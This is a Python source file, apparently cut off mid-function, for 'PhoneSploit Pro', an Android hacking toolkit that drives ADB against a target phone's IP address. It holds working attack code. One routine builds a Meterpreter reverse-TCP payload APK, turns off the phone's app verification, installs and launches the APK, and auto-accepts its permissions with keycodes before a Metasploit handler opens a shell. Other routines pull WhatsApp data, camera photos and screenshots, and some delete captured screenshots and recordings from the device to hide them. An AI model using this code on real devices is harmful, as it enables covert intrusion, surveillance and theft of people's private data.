forked from AzeemIdrisi/PhoneSploit-Pro
-
Notifications
You must be signed in to change notification settings - Fork 0
/
phonesploitpro.py
executable file
·1762 lines (1513 loc) · 60.5 KB
/
phonesploitpro.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
"""
COPYRIGHT DISCLAIMER
Script : PhoneSploit Pro - All in One Android Hacking ADB Toolkit
Copyright (C) 2023 Mohd Azeem (github.com/AzeemIdrisi)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Forking and modifying are allowed, but credit must be given to the
original developer, [Mohd Azeem (github.com/AzeemIdrisi)], and copying the code
is not permitted without permission.
For any queries, Contact me at : [email protected]
"""
import os
import random
import socket
import time
import subprocess
import platform
import datetime
import nmap
from modules import banner
from modules import color
def start():
# Creating Downloaded-Files folder if it does not exist
try:
# Creates a folder to store pulled files
os.mkdir("Downloaded-Files")
except:
pass
# Checking OS
global operating_system, opener
operating_system = platform.system()
if operating_system == "Windows":
# Windows specific configuration
windows_config()
else:
# macOS only
if operating_system == "Darwin":
opener = "open"
# On Linux and macOS both
import readline # Arrow Key
check_packages() # Checking for required packages
def windows_config():
global clear, opener # , move
clear = "cls"
opener = "start"
# move = 'move'
def check_packages():
adb_status = subprocess.call(["which", "adb"])
scrcpy_status = subprocess.call(["which", "scrcpy"])
metasploit_status = subprocess.call(["which", "msfconsole"])
nmap_status = subprocess.call(["which", "nmap"])
if (
adb_status != 0
or metasploit_status != 0
or scrcpy_status != 0
or nmap_status != 0
):
print(
f"\n{color.RED}ERROR : The following required software are NOT installed!\n"
)
count = 0 # Count variable for indexing
if adb_status != 0:
count = count + 1
print(f"{color.YELLOW}{count}. {color.YELLOW}ADB{color.WHITE}")
if metasploit_status != 0:
count = count + 1
print(f"{color.YELLOW}{count}. Metasploit-Framework{color.WHITE}")
if scrcpy_status != 0:
count = count + 1
print(f"{color.YELLOW}{count}. Scrcpy{color.WHITE}")
if nmap_status != 0:
count = count + 1
print(f"{color.YELLOW}{count}. Nmap{color.WHITE}")
print(f"\n{color.CYAN}Please install the above listed software.{color.WHITE}\n")
choice = input(
f"\n{color.GREEN}Do you still want to continue to PhoneSploit Pro?{color.WHITE} Y / N > "
).lower()
if choice == "y" or choice == "":
return
elif choice == "n":
exit_phonesploit_pro()
return
else:
while choice != "y" and choice != "n" and choice != "":
choice = input("\nInvalid choice!, Press Y or N > ").lower()
if choice == "y" or choice == "":
return
elif choice == "n":
exit_phonesploit_pro()
return
def display_menu():
"""Displays banner and menu"""
print(selected_banner, page)
def clear_screen():
"""Clears the screen and display menu"""
os.system(clear)
display_menu()
def change_page(name):
global page, page_number
if name == "p":
if page_number > 0:
page_number = page_number - 1
elif name == "n":
if page_number < 2:
page_number = page_number + 1
page = banner.menu[page_number]
clear_screen()
def connect():
# Connect only 1 device at a time
print(
f"\n{color.CYAN}Enter target phone's IP Address {color.YELLOW}Example : 192.168.1.23{color.WHITE}"
)
ip = input("> ")
if ip == "":
print(
f"\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}"
)
return
else:
# Restart ADB on new connection.
if ip.count(".") == 3:
os.system(
"adb kill-server > docs/hidden.txt 2>&1&&adb start-server > docs/hidden.txt 2>&1"
)
os.system("adb connect " + ip + ":5555")
else:
print(
f"\n{color.RED} Invalid IP Address\n{color.GREEN} Going back to Main Menu{color.WHITE}"
)
def list_devices():
print("\n")
os.system("adb devices -l")
print("\n")
def disconnect():
print("\n")
os.system("adb disconnect")
print("\n")
def exit_phonesploit_pro():
global run_phonesploit_pro
run_phonesploit_pro = False
print("\nExiting...\n")
def get_shell():
print("\n")
os.system("adb shell")
def get_screenshot():
global screenshot_location
# Getting a temporary file name to store time specific results
instant = datetime.datetime.now()
file_name = f"screenshot-{instant.year}-{instant.month}-{instant.day}-{instant.hour}-{instant.minute}-{instant.second}.png"
os.system(f"adb shell screencap -p /sdcard/{file_name}")
if screenshot_location == "":
print(
f"\n{color.YELLOW}Enter location to save all screenshots, Press 'Enter' for default{color.WHITE}"
)
screenshot_location = input("> ")
if screenshot_location == "":
screenshot_location = "Downloaded-Files"
print(
f"\n{color.PURPLE}Saving screenshot to PhoneSploit-Pro/{screenshot_location}\n{color.WHITE}"
)
else:
print(
f"\n{color.PURPLE}Saving screenshot to {screenshot_location}\n{color.WHITE}"
)
os.system(f"adb pull /sdcard/{file_name} {screenshot_location}")
# Asking to open file
choice = input(
f"\n{color.GREEN}Do you want to Open the file? Y / N {color.WHITE}> "
).lower()
if choice == "y" or choice == "":
os.system(f"{opener} {screenshot_location}/{file_name}")
elif not choice == "n":
while choice != "y" and choice != "n" and choice != "":
choice = input("\nInvalid choice!, Press Y or N > ").lower()
if choice == "y" or choice == "":
os.system(f"{opener} {screenshot_location}/{file_name}")
print("\n")
def screenrecord():
global screenrecord_location
# Getting a temporary file name to store time specific results
instant = datetime.datetime.now()
file_name = f"vid-{instant.year}-{instant.month}-{instant.day}-{instant.hour}-{instant.minute}-{instant.second}.mp4"
duration = input(
f"\n{color.CYAN}Enter the recording duration (in seconds) > {color.WHITE}"
)
print(f"\n{color.YELLOW}Starting Screen Recording...\n{color.WHITE}")
os.system(
f"adb shell screenrecord --verbose --time-limit {duration} /sdcard/{file_name}"
)
if screenrecord_location == "":
print(
f"\n{color.YELLOW}Enter location to save all videos, Press 'Enter' for default{color.WHITE}"
)
screenrecord_location = input("> ")
if screenrecord_location == "":
screenrecord_location = "Downloaded-Files"
print(
f"\n{color.PURPLE}Saving video to PhoneSploit-Pro/{screenrecord_location}\n{color.WHITE}"
)
else:
print(f"\n{color.PURPLE}Saving video to {screenrecord_location}\n{color.WHITE}")
os.system(f"adb pull /sdcard/{file_name} {screenrecord_location}")
# Asking to open file
choice = input(
f"\n{color.GREEN}Do you want to Open the file? Y / N {color.WHITE}> "
).lower()
if choice == "y" or choice == "":
os.system(f"{opener} {screenrecord_location}/{file_name}")
elif not choice == "n":
while choice != "y" and choice != "n" and choice != "":
choice = input("\nInvalid choice!, Press Y or N > ").lower()
if choice == "y" or choice == "":
os.system(f"{opener} {screenrecord_location}/{file_name}")
print("\n")
def pull_file():
global pull_location
print(
f"\n{color.CYAN}Enter file path {color.YELLOW}Example : /sdcard/Download/sample.jpg{color.WHITE}"
)
location = input("\n> /sdcard/")
# Checking if specified file or folder exists in Android
if os.system(f"adb shell test -e /sdcard/{location}") == 0:
pass
else:
print(
f"{color.RED}\n[Error]{color.GREEN} Specified location does not exist {color.GREEN}"
)
return
if pull_location == "":
print(
f"\n{color.YELLOW}Enter location to save all files, Press 'Enter' for default{color.WHITE}"
)
pull_location = input("> ")
if pull_location == "":
pull_location = "Downloaded-Files"
print(
f"\n{color.PURPLE}Saving file to PhoneSploit-Pro/{pull_location}\n{color.WHITE}"
)
else:
print(f"\n{color.PURPLE}Saving file to {pull_location}\n{color.WHITE}")
os.system(f"adb pull /sdcard/{location} {pull_location}")
# Asking to open file
choice = input(
f"\n{color.GREEN}Do you want to Open the file? Y / N {color.WHITE}> "
).lower()
# updating location = file_name if it existed inside a folder
# Example : sdcard/DCIM/longtime.jpg -> longtime.jpg
file_path = location.split("/")
location = file_path[len(file_path) - 1]
# processing request
if choice == "y" or choice == "":
os.system(f"{opener} {pull_location}/{location}")
elif not choice == "n":
while choice != "y" and choice != "n" and choice != "":
choice = input("\nInvalid choice!, Press Y or N > ").lower()
if choice == "y" or choice == "":
os.system(f"{opener} {pull_location}/{location}")
def push_file():
location = input(f"\n{color.CYAN}Enter file path in computer{color.WHITE} > ")
if location == "":
print(
f"\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}"
)
return
else:
if operating_system == "Windows":
file_status = int(
os.popen(f"if exist {location} (echo 0) ELSE (echo 1)").read()
)
else:
file_status = os.system(f"test -e {location}")
if file_status == 0:
pass
else:
print(
f"{color.RED}\n[Error]{color.GREEN} Specified location does not exist {color.GREEN}"
)
return
destination = input(
f"\n{color.CYAN}Enter destination path {color.YELLOW}Example : /sdcard/Documents{color.WHITE}\n> /sdcard/"
)
os.system("adb push " + location + " /sdcard/" + destination)
def stop_adb():
os.system("adb kill-server")
print("\nStopped ADB Server")
def install_app():
file_location = input(f"\n{color.CYAN}Enter APK path in computer{color.WHITE} > ")
if file_location == "":
print(
f"\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}"
)
return
else:
if file_location[len(file_location) - 1] == " ":
file_location = file_location.removesuffix(" ")
file_location = file_location.replace("'", "")
file_location = file_location.replace('"', "")
if not os.path.isfile(file_location):
print(
f"{color.RED}\n[Error]{color.GREEN} This file does not exist {color.GREEN}"
)
return
else:
file_location = "'" + file_location + "'"
os.system("adb install " + file_location)
print("\n")
def uninstall_app():
print(
f"""
{color.WHITE}1.{color.GREEN} Select from App List
{color.WHITE}2.{color.GREEN} Enter Package Name Manually
{color.WHITE}"""
)
mode = input("> ")
if mode == "1":
# Listing third party apps
list = os.popen("adb shell pm list packages -3").read().split("\n")
list.remove("")
i = 0
print("\n")
for app in list:
i += 1
app = app.replace("package:", "")
print(f"{color.GREEN}{i}.{color.WHITE} {app}")
# Selection of app
app = input("\nEnter Selection > ")
if app.isdigit():
if int(app) <= len(list) and int(app) > 0:
package = list[int(app) - 1].replace("package:", "")
print(f"\n{color.RED}Uninstalling {color.YELLOW}{package}{color.WHITE}")
os.system("adb uninstall " + package)
else:
print(
f"\n{color.RED} Invalid selection\n{color.GREEN} Going back to Main Menu{color.WHITE}"
)
return
else:
print(
f"\n{color.RED} Expected an Integer Value\n{color.GREEN} Going back to Main Menu{color.WHITE}"
)
return
elif mode == "2":
print(
f"\n{color.CYAN}Enter package name {color.WHITE}Example : com.spotify.music "
)
package_name = input("> ")
if package_name == "":
print(
f"\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}"
)
else:
os.system("adb uninstall " + package_name)
else:
print(
f"\n{color.RED} Invalid selection\n{color.GREEN} Going back to Main Menu{color.WHITE}"
)
return
print("\n")
def launch_app():
print(
f"""
{color.WHITE}1.{color.GREEN} Select from App List
{color.WHITE}2.{color.GREEN} Enter Package Name Manually
{color.WHITE}"""
)
mode = input("> ")
if mode == "1":
# Listing third party apps
list = os.popen("adb shell pm list packages -3").read().split("\n")
list.remove("")
i = 0
print("\n")
for app in list:
i += 1
app = app.replace("package:", "")
print(f"{color.GREEN}{i}.{color.WHITE} {app}")
# Selection of app
app = input("\nEnter Selection > ")
if app.isdigit():
if int(app) <= len(list) and int(app) > 0:
package_name = list[int(app) - 1].replace("package:", "")
else:
print(
f"\n{color.RED} Invalid selection\n{color.GREEN} Going back to Main Menu{color.WHITE}"
)
return
else:
print(
f"\n{color.RED} Expected an Integer Value\n{color.GREEN} Going back to Main Menu{color.WHITE}"
)
return
elif mode == "2":
## Old
print(
f"\n{color.CYAN}Enter package name : {color.WHITE}Example : com.spotify.music "
)
package_name = input("> ")
if package_name == "":
print(
f"\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}"
)
return
os.system("adb shell monkey -p " + package_name + " 1")
print("\n")
def list_apps():
print(
f"""
{color.WHITE}1.{color.GREEN} List third party packages {color.WHITE}
{color.WHITE}2.{color.GREEN} List all packages {color.WHITE}
"""
)
mode = input("> ")
if mode == "1":
list = os.popen("adb shell pm list packages -3").read().split("\n")
list.remove("")
i = 0
print("\n")
for app in list:
i += 1
app = app.replace("package:", "")
print(f"{color.GREEN}{i}.{color.WHITE} {app}")
elif mode == "2":
list = os.popen("adb shell pm list packages").read().split("\n")
list.remove("")
i = 0
print("\n")
for app in list:
i += 1
app = app.replace("package:", "")
print(f"{color.GREEN}{i}.{color.WHITE} {app}")
else:
print(
f"\n{color.RED} Invalid selection\n{color.GREEN} Going back to Main Menu{color.WHITE}"
)
print("\n")
def reboot(key):
print(
f"\n{color.RED}[Warning]{color.YELLOW} Restarting will disconnect the device{color.WHITE}"
)
choice = input("\nDo you want to continue? Y / N > ").lower()
if choice == "y" or choice == "":
pass
elif choice == "n":
return
else:
while choice != "y" and choice != "n" and choice != "":
choice = input("\nInvalid choice!, Press Y or N > ").lower()
if choice == "y" or choice == "":
pass
elif choice == "n":
return
if key == "system":
os.system("adb reboot")
else:
print(
f"""
{color.WHITE}1.{color.GREEN} Reboot to Recovery Mode
{color.WHITE}2.{color.GREEN} Reboot to Bootloader
{color.WHITE}3.{color.GREEN} Reboot to Fastboot Mode
{color.WHITE}"""
)
mode = input("> ")
if mode == "1":
os.system("adb reboot recovery")
elif mode == "2":
os.system("adb reboot bootloader")
elif mode == "3":
os.system("adb reboot fastboot")
else:
print(
f"\n{color.RED} Invalid selection\n{color.GREEN} Going back to Main Menu{color.WHITE}"
)
return
print("\n")
def list_files():
print("\n")
os.system("adb shell ls -a /sdcard/")
print("\n")
def get_ip_address():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
return s.getsockname()[0]
def instructions():
"""Prints instructions for Metasploit and returns user's choice"""
os.system(clear)
print(banner.instructions_banner + banner.instruction)
choice = input("> ")
if choice == "":
return True
else:
return False
def hack():
continue_hack = instructions()
if continue_hack:
os.system(clear)
ip = get_ip_address() # getting IP Address to create payload
lport = "4444"
print(
f"\n{color.CYAN}Using LHOST : {color.WHITE}{ip}{color.CYAN} & LPORT : {color.WHITE}{lport}{color.CYAN} to create payload\n{color.WHITE}"
)
choice = input(
f"\n{color.YELLOW}Press 'Enter' to continue OR enter 'M' to modify LHOST & LPORT > {color.WHITE}"
).lower()
if choice == "m":
ip = input(f"\n{color.CYAN}Enter LHOST > {color.WHITE}")
lport = input(f"\n{color.CYAN}Enter LPORT > {color.WHITE}")
elif choice != "":
while choice != "m" and choice != "":
choice = input(
f"\n{color.RED}Invalid selection! , Press 'Enter' OR M > {color.WHITE}"
).lower()
if choice == "m":
ip = input(f"\n{color.CYAN}Enter LHOST > {color.WHITE}")
lport = input(f"\n{color.CYAN}Enter LPORT > {color.WHITE}")
print(banner.hacking_banner)
print(f"\n{color.CYAN}Creating payload APK...\n{color.WHITE}")
# creating payload
os.system(
f"msfvenom -p android/meterpreter/reverse_tcp LHOST={ip} LPORT={lport} > test.apk"
)
print(f"\n{color.CYAN}Installing APK to target device...{color.WHITE}\n")
os.system("adb shell input keyevent 3") # Going on Home Screen
# Disabling App Verification
os.system("adb shell settings put global package_verifier_enable 0")
os.system("adb shell settings put global verifier_verify_adb_installs 0")
# installing apk to device
if operating_system == "Windows":
# (used 'start /b' to execute command in background)
# os.system("start /b adb install -r test.apk")
os.system("adb install -r test.apk")
else:
# (used ' &' to execute command in background)
# os.system("adb install -r test.apk &")
os.system("adb install -r test.apk")
# time.sleep(5) # waiting for apk to be installed
# Discarding these steps
# print(
# f"\n{color.CYAN}Sending keycodes to Bypass Google Play Protect\n{color.WHITE}")
# os.system('adb shell input keyevent 20')
# os.system('adb shell input keyevent 20')
# os.system('adb shell input keyevent 66')
# Keyboard input to accept app install
print(f"\n{color.CYAN}Launching app...\n{color.WHITE}")
package_name = "com.metasploit.stage" # payload package name
os.system("adb shell monkey -p " + package_name + " 1")
time.sleep(3) # waiting for app to launch
# Keyboard input to accept app permissions
print(
f"\n{color.CYAN}Sending keycodes to accept the app permissions\n{color.WHITE}"
)
os.system("adb shell input keyevent 22")
os.system("adb shell input keyevent 22")
os.system("adb shell input keyevent 66")
# Launching Metasploit
print(
f"\n{color.RED}Launching and Setting up Metasploit-Framework\n{color.WHITE}"
)
os.system(
f"msfconsole -x 'use exploit/multi/handler ; set PAYLOAD android/meterpreter/reverse_tcp ; set LHOST {ip} ; set LPORT {lport} ; exploit'"
)
# Re-Enabling App Verification (Restoring Device to Previous State)
os.system("adb shell settings put global package_verifier_enable 1")
os.system("adb shell settings put global verifier_verify_adb_installs 1")
else:
print("\nGoing Back to Main Menu\n")
def copy_whatsapp():
global pull_location
if pull_location == "":
print(
f"\n{color.YELLOW}Enter location to save WhatsApp Data, Press 'Enter' for default{color.WHITE}"
)
pull_location = input("> ")
if pull_location == "":
pull_location = "Downloaded-Files"
print(
f"\n{color.PURPLE}Saving data to PhoneSploit-Pro/{pull_location}\n{color.WHITE}"
)
else:
print(f"\n{color.PURPLE}Saving data to {pull_location}\n{color.WHITE}")
# folder_status = os.system(
# 'adb shell test -d "/sdcard/Android/media/com.whatsapp/WhatsApp"')
# 'test -d' checks if directory exist or not
# If WhatsApp exists in Android
if (
os.system('adb shell test -d "/sdcard/Android/media/com.whatsapp/WhatsApp"')
== 0
):
location = "/sdcard/Android/media/com.whatsapp/WhatsApp"
elif os.system('adb shell test -d "/sdcard/WhatsApp"') == 0:
location = "/sdcard/WhatsApp"
else:
print(
f"{color.RED}\n[Error]{color.GREEN} WhatsApp folder does not exist {color.GREEN}"
)
return
os.system(f"adb pull {location} {pull_location}")
print("\n")
def copy_screenshots():
global pull_location
if pull_location == "":
print(
f"\n{color.YELLOW}Enter location to save all Screenshots, Press 'Enter' for default{color.WHITE}"
)
pull_location = input("> ")
if pull_location == "":
pull_location = "Downloaded-Files"
print(
f"\n{color.PURPLE}Saving Screenshots to PhoneSploit-Pro/{pull_location}\n{color.WHITE}"
)
else:
print(f"\n{color.PURPLE}Saving Screenshots to {pull_location}\n{color.WHITE}")
# Checking if folder exists
if os.system('adb shell test -d "/sdcard/Pictures/Screenshots"') == 0:
location = "/sdcard/Pictures/Screenshots"
elif os.system('adb shell test -d "/sdcard/DCIM/Screenshots"') == 0:
location = "/sdcard/DCIM/Screenshots"
elif os.system('adb shell test -d "/sdcard/Screenshots"') == 0:
location = "/sdcard/Screenshots"
else:
print(
f"{color.RED}\n[Error]{color.GREEN} Screenshots folder does not exist {color.GREEN}"
)
return
os.system(f"adb pull {location} {pull_location}")
print("\n")
def copy_camera():
global pull_location
if pull_location == "":
print(
f"\n{color.YELLOW}Enter location to save all Photos, Press 'Enter' for default{color.WHITE}"
)
pull_location = input("> ")
if pull_location == "":
pull_location = "Downloaded-Files"
print(
f"\n{color.PURPLE}Saving Photos to PhoneSploit-Pro/{pull_location}\n{color.WHITE}"
)
else:
print(f"\n{color.PURPLE}Saving Photos to {pull_location}\n{color.WHITE}")
# Checking if folder exists
if os.system('adb shell test -d "/sdcard/DCIM/Camera"') == 0:
location = "/sdcard/DCIM/Camera"
else:
print(
f"{color.RED}\n[Error]{color.GREEN} Camera folder does not exist {color.GREEN}"
)
return
os.system(f"adb pull {location} {pull_location}")
print("\n")
def anonymous_screenshot():
global screenshot_location
# Getting a temporary file name to store time specific results
instant = datetime.datetime.now()
file_name = f"screenshot-{instant.year}-{instant.month}-{instant.day}-{instant.hour}-{instant.minute}-{instant.second}.png"
os.system(f"adb shell screencap -p /sdcard/{file_name}")
if screenshot_location == "":
print(
f"\n{color.YELLOW}Enter location to save all screenshots, Press 'Enter' for default{color.WHITE}"
)
screenshot_location = input("> ")
if screenshot_location == "":
screenshot_location = "Downloaded-Files"
print(
f"\n{color.PURPLE}Saving screenshot to PhoneSploit-Pro/{screenshot_location}\n{color.WHITE}"
)
else:
print(
f"\n{color.PURPLE}Saving screenshot to {screenshot_location}\n{color.WHITE}"
)
os.system(f"adb pull /sdcard/{file_name} {screenshot_location}")
print(f"\n{color.YELLOW}Deleting screenshot from Target device\n{color.WHITE}")
os.system(f"adb shell rm /sdcard/{file_name}")
# Asking to open file
choice = input(
f"\n{color.GREEN}Do you want to Open the file? Y / N {color.WHITE}> "
).lower()
if choice == "y" or choice == "":
os.system(f"{opener} {screenshot_location}/{file_name}")
elif not choice == "n":
while choice != "y" and choice != "n" and choice != "":
choice = input("\nInvalid choice!, Press Y or N > ").lower()
if choice == "y" or choice == "":
os.system(f"{opener} {screenshot_location}/{file_name}")
print("\n")
def anonymous_screenrecord():
global screenrecord_location
# Getting a temporary file name to store time specific results
instant = datetime.datetime.now()
file_name = f"vid-{instant.year}-{instant.month}-{instant.day}-{instant.hour}-{instant.minute}-{instant.second}.mp4"
duration = input(
f"\n{color.CYAN}Enter the recording duration (in seconds) > {color.WHITE}"
)
print(f"\n{color.YELLOW}Starting Screen Recording...\n{color.WHITE}")
os.system(
f"adb shell screenrecord --verbose --time-limit {duration} /sdcard/{file_name}"
)
if screenrecord_location == "":
print(
f"\n{color.YELLOW}Enter location to save all videos, Press 'Enter' for default{color.WHITE}"
)
screenrecord_location = input("> ")
if screenrecord_location == "":
screenrecord_location = "Downloaded-Files"
print(
f"\n{color.PURPLE}Saving video to PhoneSploit-Pro/{screenrecord_location}\n{color.WHITE}"
)
else:
print(f"\n{color.PURPLE}Saving video to {screenrecord_location}\n{color.WHITE}")
os.system(f"adb pull /sdcard/{file_name} {screenrecord_location}")
print(f"\n{color.YELLOW}Deleting video from Target device\n{color.WHITE}")
os.system(f"adb shell rm /sdcard/{file_name}")
# Asking to open file
choice = input(
f"\n{color.GREEN}Do you want to Open the file? Y / N {color.WHITE}> "
).lower()
if choice == "y" or choice == "":
os.system(f"{opener} {screenrecord_location}/{file_name}")
elif not choice == "n":
while choice != "y" and choice != "n" and choice != "":
choice = input("\nInvalid choice!, Press Y or N > ").lower()
if choice == "y" or choice == "":
os.system(f"{opener} {screenrecord_location}/{file_name}")
print("\n")
def use_keycode():
keycodes = True
os.system(clear)
print(banner.keycode_menu)
while keycodes:
print(f"\n {color.CYAN}99 : Clear Screen 0 : Main Menu")
keycode_option = input(
f"{color.RED}\n[KEYCODE] {color.WHITE}Enter selection > "
).lower()
match keycode_option:
case "0":
keycodes = False
display_menu()
case "99":
os.system(clear)
print(banner.keycode_menu)
case "1":
text = input(f"\n{color.CYAN}Enter text > {color.WHITE}")
os.system(f'adb shell input text "{text}"')
print(f'{color.YELLOW}\nEntered {color.WHITE}"{text}"')
case "2":
os.system("adb shell input keyevent 3")
print(f"{color.YELLOW}\nPressed Home Button{color.WHITE}")
case "3":
os.system("adb shell input keyevent 4")
print(f"{color.YELLOW}\nPressed Back Button{color.WHITE}")
case "4":
os.system("adb shell input keyevent 187")
print(f"{color.YELLOW}\nPressed Recent Apps Button{color.WHITE}")
case "5":
os.system("adb shell input keyevent 26")
print(f"{color.YELLOW}\nPressed Power Key{color.WHITE}")
case "6":
os.system("adb shell input keyevent 19")
print(f"{color.YELLOW}\nPressed DPAD Up{color.WHITE}")
case "7":
os.system("adb shell input keyevent 20")
print(f"{color.YELLOW}\nPressed DPAD Down{color.WHITE}")
case "8":
os.system("adb shell input keyevent 21")
print(f"{color.YELLOW}\nPressed DPAD Left{color.WHITE}")
case "9":
os.system("adb shell input keyevent 22")
print(f"{color.YELLOW}\nPressed DPAD Right{color.WHITE}")
case "10":
os.system("adb shell input keyevent 67")
print(f"{color.YELLOW}\nPressed Delete/Backspace{color.WHITE}")
case "11":
os.system("adb shell input keyevent 66")
print(f"{color.YELLOW}\nPressed Enter{color.WHITE}")
case "12":
os.system("adb shell input keyevent 24")
print(f"{color.YELLOW}\nPressed Volume Up{color.WHITE}")
case "13":
os.system("adb shell input keyevent 25")
print(f"{color.YELLOW}\nPressed Volume Down{color.WHITE}")
case "14":
os.system("adb shell input keyevent 126")
print(f"{color.YELLOW}\nPressed Media Play{color.WHITE}")
case "15":
os.system("adb shell input keyevent 127")
print(f"{color.YELLOW}\nPressed Media Pause{color.WHITE}")
case "16":
os.system("adb shell input keyevent 61")
print(f"{color.YELLOW}\nPressed Tab Key{color.WHITE}")
case "17":
os.system("adb shell input keyevent 111")
print(f"{color.YELLOW}\nPressed Esc Key{color.WHITE}")
case other:
print("\nInvalid selection!\n")
def open_link():
print(
f"\n{color.YELLOW}Enter URL {color.CYAN}Example : https://github.com {color.WHITE}"
)
url = input("> ")
if url == "":
print(
f"\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}"
)
return
else:
print(f'\n{color.YELLOW}Opening "{url}" on device \n{color.WHITE}')
os.system(f"adb shell am start -a android.intent.action.VIEW -d {url}")
print("\n")
def open_photo():
location = input(
f"\n{color.YELLOW}Enter Photo location in computer{color.WHITE} > "
)
if location == "":
print(
f"\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}"
)
return
else:
if location[len(location) - 1] == " ":
location = location.removesuffix(" ")
location = location.replace("'", "")
location = location.replace('"', "")
if not os.path.isfile(location):
print(
f"{color.RED}\n[Error]{color.GREEN} This file does not exist {color.GREEN}"
)
return
else:
location = '"' + location + '"'
os.system("adb push " + location + " /sdcard/")
file_path = location.split("/")
file_name = file_path[len(file_path) - 1]
# Reverse slash ('\') splitting for Windows only
global operating_system
if operating_system == "Windows":
file_path = file_name.split("\\")
file_name = file_path[len(file_path) - 1]
file_name = file_name.replace("'", "")
file_name = file_name.replace('"', "")
file_name = "'" + file_name + "'"
print(file_name)
print(f"\n{color.YELLOW}Opening Photo on device \n{color.WHITE}")
os.system(
f'adb shell am start -a android.intent.action.VIEW -d "file:///sdcard/{file_name}" -t image/jpeg'